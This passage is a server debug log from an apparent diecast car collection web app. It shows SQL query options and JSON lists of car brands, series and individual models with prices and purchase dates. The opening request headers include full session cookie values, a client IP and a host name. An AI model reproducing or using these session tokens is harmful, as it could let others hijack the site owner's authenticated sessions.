    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-03T09:27:37.018Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-03T09:27:37.019Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-03T09:27:37.021Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-03T09:27:37.022Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-03T09:27:37.022Z server-connect:app Executing action step identify
2026-07-03T09:27:37.022Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:37.023Z server-connect:output identity: 1
2026-07-03T09:27:37.023Z server-connect:app Executing action step restrict
2026-07-03T09:27:37.023Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:37.023Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-03T09:27:37.024Z server-connect:output restrict: undefined
2026-07-03T09:27:37.024Z server-connect:app Executing action step select
2026-07-03T09:27:37.024Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-03T09:27:37.025Z server-connect:app Executing action step identify
2026-07-03T09:27:37.025Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:37.025Z server-connect:output identity: 1
2026-07-03T09:27:37.025Z server-connect:app Executing action step restrict
2026-07-03T09:27:37.025Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:37.025Z server-connect:app Executing action step identify
2026-07-03T09:27:37.026Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:37.026Z server-connect:output identity: 1
2026-07-03T09:27:37.026Z server-connect:app Executing action step restrict
2026-07-03T09:27:37.026Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:37.027Z server-connect:app Executing action step identify
2026-07-03T09:27:37.027Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:37.027Z server-connect:output identity: 1
2026-07-03T09:27:37.027Z server-connect:app Executing action step restrict
2026-07-03T09:27:37.027Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:37.027Z server-connect:output restrict: undefined
2026-07-03T09:27:37.028Z server-connect:app Executing action step paged
2026-07-03T09:27:37.028Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-03T09:27:37.030Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-03T09:27:37.030Z server-connect:app Executing action step select
2026-07-03T09:27:37.030Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-03T09:27:37.031Z server-connect:app Executing action step identify
2026-07-03T09:27:37.031Z server-connect:app options: { provider: 'security' }
2026-07-03T09:27:37.031Z server-connect:output identity: 1
2026-07-03T09:27:37.031Z server-connect:app Executing action step restrict
2026-07-03T09:27:37.031Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T09:27:37.032Z server-connect:output restrict: undefined
2026-07-03T09:27:37.032Z server-connect:app Executing action step select
2026-07-03T09:27:37.032Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-03T09:27:37.034Z server-connect:output restrict: undefined
2026-07-03T09:27:37.034Z server-connect:app Executing action step select
2026-07-03T09:27:37.034Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-03T09:27:37.036Z server-connect:output restrict: undefined
2026-07-03T09:27:37.037Z server-connect:app Executing action step select
2026-07-03T09:27:37.037Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-03T09:27:37.038Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-03T09:27:37.038Z server-connect:app Executing action step select
2026-07-03T09:27:37.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-03T09:27:37.040Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-03T09:27:37.044Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-03T09:27:37.045Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-03T09:27:37.048Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-03T09:27:37.050Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
